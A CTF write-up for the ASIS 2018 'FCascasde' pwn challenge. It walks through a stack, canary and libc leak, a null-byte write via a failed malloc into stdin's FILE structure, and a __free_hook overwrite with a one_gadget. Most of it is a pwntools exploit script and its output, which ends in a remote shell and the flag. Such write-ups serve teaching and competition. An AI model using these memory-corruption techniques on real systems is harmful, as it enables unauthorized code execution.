ASIS CTF Quals 2018 - FCascasde

Stream as silk FCascasde.

nc 178.62.40.102 6002

Attachment: fstream xpl.py libc-2.23.so

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : FULL
Guru 3xp1oit
> 

The binary greets us with a prompt, and seems to not really react to any input…

void interaction(char *buf)
{
  while ( 1 )
  {
    write(1, "> ", 2);
    read(0, buf, 0x128);
    if ( strncmp(buf, "11010110", 8) || chk )
    {
      if ( !strncmp(buf, "10110101", 8) )
        ccloud();
    }
    else
    {
      chk = 1;
      leak(buf);
    }
  }
}

Ok, makes more sense now.

If we enter 11010110 it will enter the leak function. On 10110101 it will enter ccloud.

Leaks are always good, so let’s check this first :)

int leak(char *buf)
{  
  while ( 1 )
  {
    write(1, "> ", 2);
    read(0, buf, 0x128);

    if (!strncmp(buf, "11111111", 8)
      break;
    
    write(1, buf, strlen(buf));
  }
  return result;
}

This will loop until we enter 11111111 and always read 0x128 bytes into buf and print it.

buf was initiaized in main with

memset(buf, 0, 0x80);

so there still might be some interesting addresses in it.

gdb-peda$ x/100gx 0x7fffffffe330
0x7fffffffe330: 0x0000000000000000  0x0000000000000000
0x7fffffffe340: 0x0000000000000000  0x0000000000000000
0x7fffffffe350: 0x0000000000000000  0x0000000000000000
0x7fffffffe360: 0x0000000000000000  0x0000000000000000
0x7fffffffe370: 0x0000000000000000  0x0000000000000000
0x7fffffffe380: 0x0000000000000000  0x0000000000000000
0x7fffffffe390: 0x0000000000000000  0x0000000000000000
0x7fffffffe3a0: 0x0000000000000000  0x0000000000000000
0x7fffffffe3b0: 0x00007fffffffe4a0  0x16e737e352d4a200 <= Stack / Canary
0x7fffffffe3c0: 0x0000000000400c60  0x00007ffff7a303f1 <= libc
0x7fffffffe3d0: 0x0000000000040000  0x00007fffffffe4a8
0x7fffffffe3e0: 0x00000001f7b9a508  0x0000000000400be0
0x7fffffffe3f0: 0x0000000000000000  0x06458dbbc060c4d5
0x7fffffffe400: 0x00000000004008a0  0x00007fffffffe4a0
0x7fffffffe410: 0x0000000000000000  0x0000000000000000
0x7fffffffe420: 0xf9ba72c41f00c4d5  0xf9ba627ddff2c4d5
0x7fffffffe430: 0x0000000000000000  0x0000000000000000
0x7fffffffe440: 0x0000000000000000  0x00007fffffffe4b8
0x7fffffffe450: 0x00007ffff7ffe168  0x00007ffff7de7adb

We can leak all those addresses by aligning buf next to them

def do_leaks():
  log.info("Leak addresses")

  r.recvuntil("> ")
  
  r.send("A"*0x80)
  r.recv(0x80)
  STACKLEAK = u64(r.recv(6).ljust(8, "\x00"))
  r.recvuntil("> ")

  r.send("A"*0x89)
  r.recv(0x88)
  CANARY = u64(r.recv(6).ljust(8, "\x00"))- 0x41
  r.recvuntil("> ")

  r.send("A"*0x98)
  r.recv(0x98)
  LIBCLEAK = u64(r.recv(6).ljust(8, "\x00"))
  r.recvuntil("> ")

  return STACKLEAK, CANARY, LIBCLEAK

def exploit(r):
  r.recvuntil("> ")
  r.sendline("11010110")      # enter leak

  STACKLEAK, CANARY, LIBCLEAK = do_leaks()
  libc.address = LIBCLEAK - libc.symbols["__libc_start_main"] - 0xf0

  log.info("STACK leak       : %s" % hex(STACKLEAK))
  log.info("CANARY           : %s" % hex(CANARY))
  log.info("LIBC leak        : %s" % hex(LIBCLEAK))
  log.info("LIBC             : %s" % hex(libc.address))
  

We can just grab the libc from the cat challenge, most probably the same (and yes, it is).

We’ll then leave the leak block and enter the ccloud block

r.sendline("11111111")
r.recvuntil("> ")
r.sendline("10110101")
r.recvuntil("> ")
void ccloud()
{
  size_t size; 
  char *buf; 
   
  for ( buf = 0LL; ; free(buf) )
  {
    write(1, "> ", 2);
    _isoc99_scanf("%lu", &size);
    getchar();

    buf = malloc(size);
    write(1, "> ", 2);
    read(0, buf, size);

    buf[size-1] = 0;
  }
}

Hmmm, everything seems fine. Allocating a buffer, reading to it and putting a null terminator at the end of the string. And then the binary will directly free the buffer again.

What can we do with this? Well, at first, not much…

As long, as we serve malloc valid sizes, everything will just run fine. But what will happen, if we enter an invalid size?

malloc will fail and return 0x0.

buf[size-1] = 0;

is equivalent to

*((byte*)buf + size - 1) = 0;

If we enter something like 0 as size, this will segfault, because it won’t be able to dereference 0x0 and thus crash.

But what happens, if we pass a size of -0xffff80000822e6e7? malloc will also fail…

But 0 + (-0xffff80000822e6e7) - 1 evaluates to 0x7ffff7dd1918, thus writing a NULL byte to 0x7ffff7dd1918.

We can abuse this to write a NULL byte to an arbitrary address. Just where… Where can a single NULL byte do any good?

gdb-peda$ x/30gx 0x7ffff7dd1918-0x38
0x7ffff7dd18e0: 0x00000000fbad208b  0x00007ffff7dd1964
0x7ffff7dd18f0: 0x00007ffff7dd1964  0x00007ffff7dd1963
0x7ffff7dd1900: 0x00007ffff7dd1963  0x00007ffff7dd1963 <= _IO_write_base / _IO_write_ptr
0x7ffff7dd1910: 0x00007ffff7dd1963  0x00007ffff7dd1963 <= _IO_write_end / _IO_buf_base
0x7ffff7dd1920: 0x00007ffff7dd1964  0x0000000000000000 <= _IO_buf_end
0x7ffff7dd1930: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1940: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1950: 0x0000000000000000  0xffffffffffffffff
0x7ffff7dd1960: 0x000000000a000000  0x00007ffff7dd3790

This little snippet happens to be stdin. _IO_buf_base and _IO_buf_end will be used by scanf to store its input to.

If we’d overwrite the LSB of _IO_buf_base with a 0x0 it would now point to _IO_write_base (0x7ffff7dd1900).

Thus, everything we would now pass to scanf, would overwrite the data at 0x7ffff7dd1900 with which we could write arbitrary pointers to _IO_buf_base and _IO_buf_end, which enables us to write data to an arbitrary address :)

Let’s prepare this

log.info("Overwrite stdin buf LSB with 0x0")

r.sendline(str(-(0x10000000000000000- (libc.address + 0x3c4919))))

This overwrites the LSB of _IO_write_base.

log.info("Move stdin buffers near free_hook")

payload = p64(libc.address + 0x3c67a8) + p64(libc.address + 0x3c67a8)
payload += p64(libc.address + 0x3c67a8) + p64(libc.address + 0x3c67a8)
payload += p64(libc.address + 0x3c68d8) + p64(0x0)

r.sendline(payload)

With this payload we’ll now overwrite _IO_buf_base with an address near free_hook, which enables us in the next write to overwrite free_hook itself.

# send junk to get again to scanf
r.sendline("AAAAAAAAAAAAAAAAAAAAAAA")

log.info("Overwrite free_hook with one_gadget and trigger shell")
  
payload = "\x00"*168
payload += p64(libc.address + 0x4526a)  # one_gadget
r.sendline(payload)

r.interactive()

Since the loop in ccloud will now immediately free our buffer, it will trigger the one_gadget, we just put into free_hook, resulting in a shell :)

$ python xpl.py 1
[*] '/home/kileak/fcascade/libc-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 178.62.40.102 on port 6002: Done
[*] Leak addresses
[*] STACK leak       : 0x7ffc2081f5a0
[*] CANARY           : 0xfb7ed9d8b200
[*] LIBC leak        : 0x7f130b59e830
[*] LIBC             : 0x7f130b57e000
[*] Enter ccloud
[*] Overwrite stdin buf LSB with 0x0
[*] Paused (press any to continue)
[*] Move stdin buffers near free_hook
[*] Paused (press any to continue)
[*] Overwrite free_hook with one_gadget and trigger shell
[*] Switching to interactive mode
> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > 
...
> $ cat /home/pwn/flag
ASIS{1b706201df43717ba2b6a7c41191ec1205fc908d}